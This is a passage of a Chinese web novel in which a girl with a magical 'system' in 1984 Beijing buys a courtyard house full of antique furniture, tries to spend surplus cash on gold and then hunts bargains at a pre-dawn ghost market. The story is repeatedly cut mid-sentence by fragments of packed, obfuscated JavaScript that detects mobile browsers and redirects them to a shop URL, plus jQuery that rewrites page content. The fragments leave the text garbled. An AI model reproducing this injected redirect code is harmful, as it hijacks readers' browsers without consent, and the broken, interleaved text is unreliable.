“妈,骂得好。”时墨笑着竖起大拇指。她就知道,她妈从来不是软柿子,纺织厂车间班长干了十几年,什么难缠的人没见过,哪能让人拿捏住。 “她就是看咱们诚心买,想敲竹杠。不买就不买,三条腿的蛤蟆难找,合适的房子还不好找?” 时爱国在旁边叹了口气:“就是可惜那院子,就差那一间了。” “有什么可惜的?”李秀兰一扬眉,“咱们又不是非她那间不可。那破院子,买不下来拉倒!” 时墨心里算了下价格,还是觉得能拿下来更划算,便说道:“张寡妇的房子让她自己拿乔去,我手里还有钱,咱们可以把刘叔和王哥他们两家买了,然后租出去。张寡妇看人都换楼房肯定心里不得劲儿,再看咱们真不买了,她到时候得求到咱头上。” “可不是嘛!晾晾她,真当自己破房子是个宝贝了。”李秀兰气顺了点,“不过咱现在房子也够住了。” 李秀兰忽然话锋一转,脸上带着点得意的笑:“说起来也巧,我和你爸正顺着胡同往回走,气呼呼地说这事呢,旁边窜出一个五十来岁的男同志,把我和你爸拦住了。” “哎哟,当时可把我和你妈吓一跳。” “可不是嘛,正骂兴头上,旁边突然窜出来个人来。不过人家穿得干干净净的,一看就是正经人。”李秀兰说,“他拦住我们,问:‘同志,你们是要买房?’” 时爱国点头:“那人说他姓钱,就住前面小院。家里老母亲病了,要去南方投奔闺女,急着卖房凑医药费和路费。刚才路过听见我们说话,就想问问我们有没有意向。” “那房子怎么样?”时墨来了兴趣。 “我当时也没抱希望,就跟着去看了看。”李秀兰脸上笑意更浓,“结果一看,哎哟,可比咱那破院好多了!” 时爱国在旁点头赞同:“那房子确实不错,独门独院的,清净。位置也好,离你学校比咱们现在住的还近。” 李秀兰越说越起劲,抬手比划道“是个一进的院子,正房一间,东西厢房各一间,院里还有棵老石榴树,每年都结满果子,还有口压水井,方便得很!就是没上下水,得去胡同口的公厕,冬天要生炉子,可架不住它是独门独院啊!关起门来就是咱们自己家,谁也管不着!” 时墨一听动心了:“他要多少钱?” “那人一开始要四千,说房子是祖上留下来的,屋里的老家具都一起给我们,不单独算钱。”李秀兰笑得合不拢嘴,“我跟你爸觉得贵了点,就想走。结果他急了,拉着我们不让走,说价格可以商量。我跟他磨了半天,跟他说,你急着去南方,房子放着也是空着,我们诚心买,一次性给全款,不拖不欠。最后砍到三千七!他也痛快,说明天就去房管所办过户,签合同!” 三千七!独门独院的四合院!还带老家具! 时墨直接愣住了,随即心里掀起狂喜。 她本来只想着把原来的院子凑完整,没想到爸妈误打误撞,直接拿下了一座独门独户的小院子! “妈!你也太牛了!”时墨一把抱住李秀兰的胳膊,眼睛亮得惊人,“这太划算了!是咱们占便宜了,对方要不是急着出手,这钱可下不来。” “那是。”李秀兰眉开眼笑,“你妈在跟人砍价砍了三十来年,还能吃亏?” “我跟你爸进去看了,屋里的桌椅板凳和衣柜,都是老硬木的,看着就结实,你不是就喜欢这些老物件吗?我一看,就知道你保准喜欢。” 时建军这时候从里屋看完书,探出头来:“妈,那房子真有你说的那么好?” “明天你请假,跟咱们一起去看看不就知道了?”李秀兰说。 “行啊!” 时墨突然想到:“爸,妈,定金给了吗?” “给了五十块,说好明天一早去房管所过户,过户的时候给全款。”时爱国点点头,“对方人实在,合同都拟好了,就等明天签字盖章。” “这人是啥都置办全了,就等卖呢!”时墨立刻起身,拽了拽时建军的胳膊,“哥,明天你先帮我去学校请个假,就说家里有重要的事,我得跟着爸妈去房管所。这种事得快,夜长梦多,万一人家反悔了就麻烦了。之后是咱房子了你想啥时候去看都行。” “没问题!包在我身上!”时建军拍着胸脯保证,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时墨送走人后,终于能好好看看自己的房子。 小院在一条安静的胡同深处,离时墨学校骑车不到十分钟。 院子收拾得干干净净,正房坐北朝南,青砖灰瓦,门窗上的雕花虽有些斑驳,但依稀能看出当年的精致。东西厢房各两间。 院中间的老石榴树枝繁叶茂,看着就有些年头了,阳光透过树叶洒下来,像在地上落了一地碎金。 最让时墨移不开眼的,是屋里那些老家具。 八仙桌、太师椅、条案、书桌、雕花床——全都是正经的老物件。 她就算是个古董外行人,也能看出这些家具是好东西! 时墨走进去,手指轻轻抚过那张八仙桌的桌面,桌面光洁温润,触手细腻,纹理如行云流水;一对太师椅油光锃亮,木纹细腻好看;里屋的顶箱柜高大厚重,铜活都亮闪闪的,一看就不是凡品。 系统检测再次启动:【宿主,这张八仙桌,还有这对太师椅,是海南黄花梨,里屋的顶箱柜是小叶紫檀,那张床的床架子是鸡翅木,床板是楠木,保存完好无破损。】 时墨的手停在半空。 【你说什么?】 系统再次重复了一遍。 这次,时墨冷静了。 她想过这些老家具可能值钱,但没想到值这么多。 37. 第 37 章 钱师傅根本不知道他随手送掉的这些“旧家具”,在几十年后是什么概念。 “墨墨,发什么呆呢?”李秀兰的声音从院子里传来,“快出来看看,这院子多好!” 时墨稳了稳心神,转身走出去:“嗯,确实被钱师傅规整的不错。” “那是!”李秀兰站在树下,仰头看着满树石榴,“这石榴看着还差些日子,等过一阵儿都熟了,咱们一家再来摘!” “好啊,到时候……” 时墨正说得起劲儿,系统的警报声瞬间响起。 【警告!宿主可支配资产上限为3717元。当前可支配现金余额6800元,超出可支配资产限额6783元!剩余可支配额度17元!】 【您昨日转出的4000元,今日完成房产过户后,已转为固定资产,不抵扣超额部分!请宿主于明日9点前,将超额部分6783元全部消费完毕,否则将执行超额资产清零程序!倒计时剩余20小时37分钟!】 时墨手里的钥匙“啪嗒”一声掉在了地上。 时墨告诉自己要冷静,沉默三秒后:【你说我买的这房子算固定资产?以后每天只能花17元?】 【是的。如有超额24小时内必须处理。】系统无奈道,【这个空子真没法钻了,硬性要求,请宿主尽快解决超额资产。】 时墨感觉人都麻了。 她昨天还美滋滋地以为,买房子刚好能把超额的大头花出去,完美解决系统的限额问题,结果闹了半天,白忙活了! 房子买了,钱没花出去,还得在明早九点前,把六千多块全花光! 她蹲下身捡起钥匙,看着眼前的四合院和满屋子的宝贝家具,哭笑不得。 到手的房子是绝对不可能吐出去的,可这六千多块,一天之内怎么花出去,还不能太张扬? “妈,咱们住的单位房子能今天就办理过户吗?” 李秀兰正摆弄院里花草,听到这话被逗乐了:“傻闺女,这都快中午了,哪有一下午就办完的,最快找人也得一天呢。” 她昨天也不知道能出这事啊! “妈,那你跟我去把王哥他们房子买了吧。”时墨脑子一转,立马拍板道。 “人家都没下班呢,要不咱们明天再去吧。” 明天钱就没了! “哎呀,这点了。”李秀兰看了眼腕表,催道,“妈就请了半天假,下午还得回去上班,咱回去煮个面条简单吃一口,” “妈,你回吧,我再看看房子。”时墨脑子快速运转如何利用下午时间。 “行,那我先走了,你别饿着自己啊。”李秀兰不放心地嘱咐道。 “嗯嗯。”时墨笑着应道。 等李秀兰一走,时墨立马锁门,决定去百货买它个两百克黄金首饰! 刚转身,谢时昀正巧从对面的大宅子走出。 四目相对,两人都愣住了。 时墨万万没想到,会在这儿遇见他。 更没想到,他的住处就在自己新买的院子对面。 “时墨?”谢时昀率先开了口,声音还是一如既往的温和,“你怎么在这儿?” 时墨指了指身后:“我刚把这院子买下来。” “这么巧?”谢时昀愣了一下,随即笑了,“那我以后,得叫你邻居了,有事可以随时来找我。” 时墨扫了眼谢时昀一身随性的居家服,整个人看起来比之前见着时松弛许多,笑道:“好,等院子里石榴熟了,请你来尝。” 谢时昀顺着时墨的话笑了笑:“那我可等着了。你这急匆匆的吃午饭了吗?” 时墨脚步一顿。 “我家里刚做好,不嫌弃的话,进来垫一口?”谢时昀说得随意,语气温和,眼底却藏着一丝不易察觉的期待。 时墨心里正被系统的倒计时搅得火烧火燎,哪有心思吃饭,连忙笑着婉拒:“谢谢,我还有点急事要去办,就不打扰了。等以后收拾好院子,再请你过来做客。” 谢时昀也不勉强,只点点头,侧身让开了路,关心的补了句:“看你脸色不太好,遇事别太着急。要是有什么事,可以来找我,我一般都在家。” 这话里的关心藏得恰到好处,既不越界,又妥帖周到。 时墨笑着道了声谢,快步往外走,走出几步,又想起什么,回头冲他挥了挥手:“邻居,回见啊!” 谢时昀站在门口,看着时墨的背影消失在胡同拐角,嘴角慢慢弯了起来。 “邻居。”他轻轻重复了一遍这个词,像是在品味着什么。 时墨出了胡同,站在路口张望了一会儿,拦了辆三蹦子。 “同志,去百货大楼!” “好嘞,您坐稳!” 【宿主,别慌!还有20个小时呢!先去百货大楼买黄金,肯定能花完!】系统在脑海里不停给她打气。 时墨揉了揉眉心:【但愿吧,别再出什么幺蛾子了。】 二十分钟后,三蹦子停在百货大楼门口。时墨付了钱,推门就往里冲,直奔二楼的黄金首饰柜台。 时墨上楼的时候,心里还挺踏实。结果到了柜台前,一看那几节玻璃柜,心就凉了半截。 柜台里稀稀拉拉摆着几件首饰——几只金戒指,细细的,克重不大;几条金项链,链子细得跟头发丝似的;还有几对耳钉,米粒大的金疙瘩。 就这? “同志,您想看点什么?”售货员是个三十来岁的女同志,烫着卷发,见她进来,笑着迎上来:“项链还是手镯?这几款耳钉也很不错。” 时墨扫了一眼柜台里的金饰,直接问道:“你好,我想问一下,咱们这儿黄金首饰,最大克重的有多少?” “最大?”售货员上下打量她一眼,“您想要多大的?” “二三十克一个的吧,我想买几个。” 售货员愣了一下:“二三十克?您要几个?” 时墨想了想,她妈一个镯子,自己一个镯子,再买个项链戒指啥的:“五六个吧。” 这话一出,售货员倒吸一口气,眼睛瞪得溜圆,像是看外星人一样看着时墨:“小同志,你要多,多少?” 周围几个柜台的售货员也都看了过来,眼神里满是震惊。 现下黄金还是严格管控的稀缺物资,普通人结婚能买个三五克的金戒指就已经很体面了,买个二十克的手镯都得是家底殷实的人家,张口就要近两百克,这简直是闻所未闻。 “手镯、项链、戒指都行,只要足金的。”时墨看着眼前几人的表情,心里已经隐隐有了不好的预感。 售货员终于回过神,连忙摆手:“哎哟同志,这可不行!您要的那种大克重的,我们这儿真没有现货。金戒指最多十克,镯子也就十五六克,再大的得预订。” 时墨的心瞬间沉了下去:“预订?要多久?” “这个说不准,快则一两个月,慢则半年。金料紧张,得等指标。”售货员压低声音,“而且您要的量这么大,得有门路,或者有外汇券。我们这儿的好货,一般都留给外宾或者有外汇券的顾客。” 时墨:“……” 她忘了,这是1984年,不是2024年。 黄金是贵金属,国家统购统销,不是有钱就能随便买的。 系统立刻道歉:【宿主对不起,我漏了这个时代的物资管控规则!】 时墨在心里叹了口气,没怪系统,又看向售货员,语气软和道:“同志,我就想多买点黄金首饰,给我妈妈和家里长辈,能不能通融一下?我可以多加点钱。” 售货员正为难,忽然盯着她的脸看了半天,忽然惊呼一声:“哎哟!你是不是那个给国家捐国宝的时墨同学?前几天报纸上登的那个!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232664|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这话一出,周围的售货员和顾客都围了过来,七嘴八舌地议论: “真的是她!我看过照片!就是这个姑娘!” “我的天,真人比照片上还好看!” “看人家孩子多出息,有钱知道给家里长辈买首饰,真孝顺。” 售货员的态度瞬间更热情了,连忙给她搬了凳子,又倒了杯水,不好意思地说:“时墨同志,真不是我们不通融,这是国家的规定,我们也做不了主。你要是想买,我给你看看我们柜台现有的货,不用票也能给你通融个十克八克的,再多真的不行了。” 她把柜台里最重的几个金手镯、金项链都拿了出来,摆在时墨面前:“你看,这个光圈手镯22克,这个项链15克,还有这对耳环6克,加起来也就43克,一千九百多块钱,这已经是我们柜台能拿给你的所有现货了。” 时墨看着眼前这点金饰,心里小算盘打的噼里啪啦。一千九百块,连她超额部分的三分之一都花不完。便又问道:“那有没有红蓝宝石、翡翠这类的首饰?钻石也行。” 售货员连忙摇头:“哎哟,那玩意儿更稀缺了,全北京也就友谊商店有,还得凭外汇券才能买,我们这儿根本没现货。就算有,也得提前半个月预约,还得有单位开的介绍信才行。” 她顿了顿,压低声音跟时墨说:“实不相瞒,时墨同志,你要是真想买这些稀罕玩意儿,得找外贸单位的熟人弄外汇券,去友谊商店买,但可别去黑市,假的多,路子也不正容易被查。” 外贸单位的熟人,时墨第一个想到的就是开外贸公司的谢时昀。找他弄点外汇券、再让他帮忙找熟人买宝石,对他来说肯定不是难事。 可念头刚冒出来,就被她掐灭了。 就为了花点钱,去麻烦一个不算熟的人,还欠个人情,完全没必要。更何况时间这么紧,就算找谢时昀,也未必能今天就买到现货。她还有别的方案,犯不上求人。 时墨谢过售货员,最终还是把柜台里那43克的金饰全买了下来,花了一千九百三十五块。 【宿主,你要不去买家电?彩电、冰箱、洗衣机,全买顶配,钱花的快!】系统好心提出建议。 【买了往哪放?楼房里爸妈住着,四合院还没收拾,买回去太扎眼了。】时墨摇了摇头,【整个家属院都没几台彩电,我一下子买回去,明天全厂都得议论,太张扬了,再说了那些全是贬值的东西。】 时墨下了楼,站在百货大楼门口,看着来来往往的人流,脑子飞速运转。 黄金宝石买不了,那买什么? 对了,古董! 时墨眼睛瞬间亮了。 聚贤斋那些人手里肯定有好东西!虽然人家不一定愿意卖,但问问总不亏。实在不行,让他们指点指点去哪儿能买到真东西也行。 时墨走向路边,拦了辆蹦蹦:“师傅,去竹笤帚胡同!” 周五下午,聚贤斋里安安静静的,只有陈师傅一个人坐在院子里,手里拿着本书,戴着镜子,看得入神。 听见推门声,他抬头一看是时墨,笑着放下书:“哟,小墨你今天怎么有空过来?不上课?” “请假了。”时墨走过去,在他旁边的马扎上坐下,“陈叔,我有件事想请您帮忙。” 陈师傅给她倒了杯茶:“什么事?说。” 时墨也不绕弯子,接过茶杯,开门见山:“陈叔,我今天来,还真就是想问问您,有没有哪位前辈手里有合适的古籍、字画、老物件愿意割让?我诚心收,价格绝对公道。” 陈师傅愣了一下,随即哈哈大笑:“你这丫头,刚捐了件国宝,又想收宝贝了?我们这几个老家伙手里的东西,都是攥了一辈子的命根子,可不轻易出让。你要真想淘宝贝,我倒是可以给你指条路。” “什么路?” “鬼市。”老陈压低声音,“听过没?” 38. 第 38 章 时墨心跳漏了一拍。 鬼市,她当然听过。那是八十年代京里最神秘的古玩交易市场,凌晨开市,天亮散场,真假混杂,全凭眼力。 “听过。”时墨点点头,“但不知道具体在哪儿,有什么规矩。” 老陈放下手中茶壶,细细给她讲了起来:“咱们京城的鬼市,也叫晓市,凌晨两三点开市,天一亮就散市,来无影去无踪,所以叫鬼市。里面什么都有,老字画、老家具、金石玉器、古籍善本,甚至还有宫里流出来的老物件,鱼龙混杂,真货假货都有,全看自己的眼力。” 他掰着手指头,给时墨讲规矩:“鬼市有几个规矩,你得记牢了。第一,买东西只许用手电筒照东西,不许照人脸;第二,看货的时候,东西不落地,谁拿着谁负责,掉了坏了就得按价赔;第三,买卖全凭眼力,看走了眼,买了假货,回头不许找后账,人家也不认;第四,还价的时候,不能当着外人的面喊价,俩人袖子里拉手谈价,成不成都不能嚷嚷,坏了规矩。” 他盯着时墨,语气郑重道:“不管买到什么,别当场嚷嚷,别让人知道你捡着漏了。鬼市上什么人都有,有真心买卖的,也有专门盯人的。你这丫头眼力毒,要是真淘着好东西,闷声发大财就完了,别给自己招祸。” “嗯!” “现在京城最有名的鬼市,一个在德胜门外,一个在崇文门,还有一个在宣武门。德胜门的货最全,东西杂,坑也多;崇文门的相对规矩点,大多是出手家里的老物件,假货少点;宣武门算是文人聚集地。开市时间都是凌晨两三点,天亮就散,一分都不多待。” 时墨听得认认真真,把陈师傅说的规矩、地点全记在了心里。 陈师傅还将里面的门道,进出的暗号手势都跟她说了一遍——里面大多其实都是倒斗行当或者是自己手作的东西,哪怕是规矩的崇文门鬼市,也不过是在鬼市内不会有人乱来,出了鬼市那就是各凭本事儿了。 陈师傅拍拍她的肩:“凭你这眼力,去鬼市不吃亏。不过丫头,我得提醒你一句,鬼市上十件有九件是假的,剩下的那一件,也未必值大钱。你手里那点钱,要是全砸进去打了水漂,可别怪我没提醒你。” 时墨笑了:“陈师傅您放心,我掂量得清。真要打水漂了,就当交学费。吃一堑长一智,以后就知道深浅了。” 陈师傅看着她,眼里闪过一丝欣赏:“你这丫头,倒是个拿得起放得下的。行,去吧,淘着好东西了,拿来给我们几个老家伙开开眼。” 末了他还低声提点了一句:可以给一件不错的物件让鬼市里的人帮忙,让她安然回家。 时墨站起身郑重地给陈师傅鞠了一躬:“谢谢您,陈师傅,那我先走了。” 陈师傅连忙扶住她,笑着叮嘱:“你这丫头。鬼市鱼龙混杂,什么人都有,你一个小姑娘,千万别一个人去,必须带个身强力壮的男同志陪着,不然容易吃亏。还有,别带太多现金,也别露富,看货的时候稳着点,别让人看出你是新手,专门坑你。” “我记住了!” 她算了算时间,现在是下午三点,离凌晨两点还有十一个小时,离明早九点的系统截止时间,还有十八个小时。 去鬼市,赌一把,赢了,既能花掉超额的钱,又能淘到宝贝;输了,顶多就是钱没了,可她已经有了一套四合院,还有满屋子的宝贝家具,也没什么输不起的。 大不了,就当是花钱买个教训,以后多注意系统的规则就是了。 时墨道别陈师傅,坐公交回了家。 到家的时候,时建军正好回来,正蹲在楼下修自行车。 “哥,我跟你说个事。”时墨凑近时建军身边,悄声道,“明天凌晨两点,你陪我去趟鬼市呗?” 时建军手里的扳手“当啷”一声掉在地上,瞪着眼睛问:“鬼市?妹,你去那地方干啥?那地方乱得很,坑人的可多了!” “我想去淘点东西,一个人去又不安全,你就陪我去一趟,好不好嘛?”时墨眼里满是恳切地看着她哥,撒娇道,“好大哥,我就去这一次,天亮就回来,我说话算话!” 时建军看着妹妹,皱着眉犹豫了半天。 他知道他妹不是胡闹的人,既然想去,肯定有她的道理。而且他妹要去那种鱼龙混杂的地方,他身为大哥,怎么可能不陪着? “行。”时建军点了点头,弹了时墨一个脑瓜崩,“哥陪你去!不过咱可说好了,到了那儿,你别乱说话,别乱买东西,看好了再下手,哥给你盯着人,保证没人敢欺负你!” “谢谢哥!我就知道你对我最好了!”时墨瞬间松了口气,揉了揉脑门,甜甜地笑了。 晚上吃饭的时候,时墨跟爸妈说了一声,只说明早想去鬼市淘点旧书,让哥哥陪着去。时爱国和李秀兰虽然觉得那地方鱼龙混杂,但有儿子陪着,也没多拦着,只反复叮嘱他们注意安全,别惹事。 吃完饭,时墨早早就回了屋,留下保底的17块钱放进钱盒里。把剩下的现金分成好几份,分别缝在了衣服的内兜里、裤兜里,又准备了手电筒、手套,还有一个装东西的布包,全都收拾妥当。 系统:【宿主,你真的要去鬼市啊?那你可要注意安全,我加班帮你盯着!】 时墨笑了笑:【好哦,你可以两点来,七个小时按你三倍工资计算,先把钱扣了吧。】 系统瞬间来了精神:【宿主放心!我保证全程扫描,假货绝对逃不过我的眼睛!让你把钱花得明明白白一分都不浪费!还有您的人身安全,只要有不怀好意的人接近,我立刻警报!】 时墨无奈地摇了摇头,果然她的系统也是个小财迷。 凌晨一点四十五分,时墨定的闹钟响了。她刚坐起身,监控AI的声音就响了起来:【根据监测,凌晨两点是人体深度睡眠时段,不建议外出。请问宿主外出目的?】 【我肚子不舒服,去趟厕所。】时墨随口找了个借口应付过去,轻手轻脚地穿好衣服,溜出了房间,敲了敲时建军的房门。 门很快就开了,时建军早就穿好了衣服,手里还拿着个手电筒,腰上别了个扳手,一脸严肃:“妹,准备好了?走!” 时墨看着哥哥这严阵以待的样子,忍不住笑道:“走!” 兄妹俩轻手轻脚地出了门,凌晨的家属楼里静悄悄的,只有路灯昏黄的光洒在地上,偶尔有几声猫狗叫声。 时建军骑着二八大杠,时墨背着包坐在后座上,手里攥着手电筒,朝着崇文门的方向骑去。 风从耳边吹过,带着凌晨的凉意。 时墨摸了摸衣服里的现金。 鬼市,我来啦! 凌晨两点整,时墨正坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这里没有没有吆喝,没有讨价还价,逛市的人逛市的人都压低着嗓子说话,脚步声很轻,整个胡同里只有布料摩擦声、物件轻轻碰撞的脆响,以及偶尔响起的、压低到几乎听不见的低语。 整个胡同笼罩在一种诡异而压抑的寂静里,像一场活人的默剧,又像一群幽灵在暗中交易。 “墨墨,跟紧我,千万别走散了。”时建军停下车,把自行车锁在离胡同口两米的地方,一把将妹妹拉到身侧,声音压得极低。“这里人太杂了,谁搭话你都别理,东西看好,有哥在,没人敢动你一根手指头。” 时建军眼睛瞪得溜圆,警惕地扫视着周围,一只手虚护在时墨背后,另一只手不自觉地摸了摸腰上别着的扳手。 时墨倒是比时建军镇定得多,拍拍他哥胳膊,面上半点不见慌乱,:“哥,放松点,咱们就是来淘东西的,越紧张越容易被人盯上。” 【宿主请放心,我全程盯着呢!】系统的声音适时响起,【全息投影已加载——所有真品标红色光点,普通真品绿色,赝品黄色。另外,心怀不轨的人我会用橙色光圈标注,你注意避开。】 话音刚落,时墨的视野里像铺开了一张全息地图:路两边密密麻麻的地摊,以及每个人都被标注上不同颜色的光点。她能看见哪个摊主眼神飘忽,哪个买家鬼鬼祟祟,哪个角落蹲着的人身上泛着橙色的警示光。 39. 第 39 章 【左前方三米,红色光点!清代光绪年间的铜胎画珐琅鼻烟壶,真品,市场价八百以上,摊主标价二十。】 【左后方两米,两个扒手盯着你身后的布包,正在往这边靠,建议立刻移动避让!】 【左前方五米摊位,全黄标!民国仿齐白石虾趣图、现代仿宣德炉,全是赝品,别碰!】 系统的播报精准又密集,时墨脚步不停,拉着时建军在胡同口打了两个手势,隐藏在胡同口两侧的人挥了挥手,示意他们进去,身后跟着的两个扒手立马就走远了。 时墨低头瞥了一眼,心下明白了,先拐到鼻烟壶摊位前。 摊主是个裹着军大衣的山羊胡老头,蹲在墙角缩着脖子,见有人过来,眼皮都没抬,只抬手比划了一下:按规矩来。 时墨点点头没吭声,蹲下身,先随手拿起旁边一个豁了口的铜勺子翻了翻,又漫不经心地拿起那个鼻烟壶,指尖摩挲着壶身温润的包浆和细腻的珐琅彩,心里门清——开门的老物件,一点毛病没有。 放下鼻烟壶,她又拿起旁边一把旧铜锁,伸出左手,对方笼着袖子同样伸出左手,两人在袖子里手碰手地比划着—— 时墨:多少钱? 摊主:二十。 时墨摇了摇头,右手指尖点了点鼻烟壶,又冲老头比划了个二十五。 时墨摇了摇头伸手比划了个数,指尖点了点鼻烟壶,又冲老头比划了个二十五。 老头抬了抬眼皮,见她是个年轻姑娘,看着不像懂行的,撇了撇嘴摇头。 时墨拧眉,在袖子比划:多少? 老头淡定比划:三十。 同时心里还偷着乐——这俩破玩意儿,收来才花了五块钱,净赚五倍还多。 时墨眉头皱的更明显了:二十七,不行就算了。 老头心下咯噔一下,算了,能赚赶紧赚:成交。 时墨立马掏钱,老头也不含糊,东西直接塞到时墨手里,摆手:赶紧走。 【宿主太会演了!】系统在脑海里赞叹,【明明知道是宝贝,愣是装成买破烂的!】 【这叫策略。】时墨在心里笑,【鬼市买东西,露出一点想要的苗头,价钱就得翻倍。】 时墨把两样东西塞进布包,继续就往胡同深处走。刚走两步,系统又预警:【宿主,刚才那两个扒手还跟着,右前方三个壮汉是这一片的地痞,专坑新手,咱们往人多的地方走。】 时墨不动声色,拉着时建军拐进了摊位更密集的中段,脚步停在了一个摆着碗盘的摊子前。摊主是个穿旧棉袄的中年人,缩在墙根,面前的蓝布上摆着七八个碗盘、两个铜香炉。 【宿主,蓝布上左数第三个碗!明代成化民窑青花碗,真品!当前市场价一千二,标价二十,摊主底价十块!】 时墨蹲下身,手电光只贴着碗沿扫,拿起碗翻了翻,底款“大明成化年制”六个字歪歪扭扭,是典型的民窑随性写法,釉色温润,青花发色淡雅,开门的真品。 她没急着问价,先拿起旁边一个粗瓷碗翻了翻,才指着成化碗比划手势:多少钱? 中年人回应一个手势:二十。 时墨没说话,把手伸了过去。 中年人看了她一眼,也伸出手。 两只手在袖口处交握,手指在布料下面快速翻动——时墨先比了个“十”,中年人摇头,比了个“十五”;时墨又比了个“十二”,中年人没想到这小姑娘砍价这么稳,点了点头。 时墨收回手,从兜里掏出十二块钱递过去。 中年人接过钱,把碗包好递过来,全程没再说一句话。 时建军在旁边看得目瞪口呆,他根本没看懂发生了什么,妹妹就已经买完了。 【哥,这是鬼市的规矩,还价不能嚷嚷,袖子里拉手谈价。】时墨在心里默默解释,【学会了不?】 【宿主,您这教学对象选错了,他又听不见。】系统无情吐槽。 【我就是说说。】时墨笑着站起身,继续往里走。 【宿主右前方,红色光点!明代铜炉,真品,十五块!】 拿下。 【左边那串朝珠,绿色光点!清代沉香木朝珠,108颗,标价三十,真品!】 三十块,拿下。 【前面那个卖字画的,最边上那卷破破烂烂的——红色高亮!清代何绍真迹!标价五块!】 五块,拿下。 时墨每一次出手都干脆利落,从不恋战,买完就走,绝不在一个摊位前多停留。 时建军跟在时墨身边,从一开始的紧张警惕,渐渐变成了目瞪口呆。他看着妹妹蹲在一个个摊子前,伸手,摸东西,袖子里比划两下,掏钱,走人,整套动作行云流水,比在菜市场买白菜还利落,半点不见新手的局促。 而且她买的东西,在他眼里都是些破破烂烂的玩意儿,一个锈迹斑斑的铜炉,一串脏兮兮的珠子,一卷破得快要散开的字画…… “妹……”他忍不住凑过去,悄声道,“你买这些破烂干啥?” “哥,回去说。”时墨冲他眨眨眼,继续往前走。 时建军就闭嘴了,沉默地跟着妹妹继续走,心里却在担心:妹妹在这里买这么多东西,被人盯上了,他可怎么办才好? 【宿主,前方橙色光圈聚集,注意。】系统的声音忽然严肃起来,【三个可疑人物,在您左前方十米处蹲守,疑似盯上了您。】 时墨目光一扫,果然看见三个男人蹲在一个摊位前,眼神却时不时往她这边瞟。 她不动声色,拉着时建军往另一个方向走,同时在一个卖古籍的摊位前蹲下,假装翻书。 就是这时,意外发生了。 时建军手里的手电没拿稳,光柱一晃,正好扫到了一个人的脸上。 那是个光头壮汉,络腮胡,眼睛被光晃得瞬间眯起,猛地站起身,一把揪住时建军的衣领:“妈的,照什么照?懂不懂鬼市的规矩?照货不照脸,你他妈照我脸,是想踩点还是找事?” 周围瞬间安静下来,几十道目光齐刷刷看过来,几道手电光扫过来又迅速移开,气氛瞬间绷紧。 时建军脸一红,刚要道歉,被壮汉劈头盖脸骂了一句,火气瞬间上来了,攥着拳头就要还手。 “哥!”时墨一把拉住他,同时迅速熄了手电筒,对着那壮汉拱了拱手,“大哥,实在对不住,我哥头回来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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时墨拧眉,犹豫了好一会才装作咬牙同意,付了钱,把厚厚的一套书抱进怀里,布包又沉了几分。 这个小插曲过后,时墨更加谨慎了。她不再密集出手,而是走走停停,偶尔看看,偶尔问问价,让人摸不清她的节奏。 【宿主,刚才那三个橙色光圈的人还在跟着您,距离十五米,建议绕开。】系统持续播报。 时墨心里有数,拉着时建军七拐八绕,穿过几个狭窄的过道,把那几个人甩开了一段距离。 【前方十米,红色高亮!康熙年间民窑精品青花缠枝莲纹碗,全品无冲线,真品!当前市场价四千元!摊主当成清末仿品,底价二百块!】 时墨眼睛一亮,拉着时建军快步走了过去。摊位前围了两个人,摊主是个瘦高个,蹲在地上抽烟,见她过来,抬了抬眼皮没说话。 时墨挤进去,一眼就看到了那个大碗,碗口足有二十公分,胎质细腻坚实,青花发色沉稳,缠枝莲纹画得流畅有力。 时墨沉默地看着,见摊位前的两人没有跟摊主比价的意思,她这才装作随意的样子拿起碗,里外翻了翻,看着底款“大清康熙年制”六字楷书款工整规范,妥妥的民窑上品,她指尖摩挲着碗底的款识,心里已经有了数,正要伸手跟摊主比价。 旁边突然伸过来一只手,直接就要从她手里把碗夺走。 40. 第 40 章 “这碗我要了。” 穿皮夹克的横肉男人面容凶狠,目光冷漠,紧紧盯着时墨,大有她不给他就要动手的架势! 时建军眼疾手快,一步跨上前,一把挡住那人的手,把时墨严严实实护在身后,脸一沉:“你干什么?我们先拿在手的!” 时墨扯了扯哥哥的衣袖,时建军拧眉,看向妹妹,时墨摇头。 这时不知道从哪儿冒出来两个壮汉,直接将那凶狠男人和他身边的人一把摁倒在地,然后就迅速拖走了,全程都没有发出一丝多余的声响。 时建军震惊! 时墨心下一松! 系统也震惊了:【感情之前的那几个人是维持这里的秩序的?!】 之前系统一直让女主避开的三个壮汉中的两个就是出来将凶狠男人和他同伴拖走的人。 时墨心下调侃:【没想到,你也会有判断错误的时候。】 系统:…… 时墨蹲下来,拿着碗跟摊主继续比价。 摊主是个五十来岁的老头,刚才那场闹剧他全程看在眼里,却一直平静得仿佛不存在,很显然,他已经见怪不怪了。 他伸出手。 时墨也伸出手。 两只手在袖□□握。 老头指尖在她的手指上碰了碰,先比了个三,又比了个零,意思是三百块。 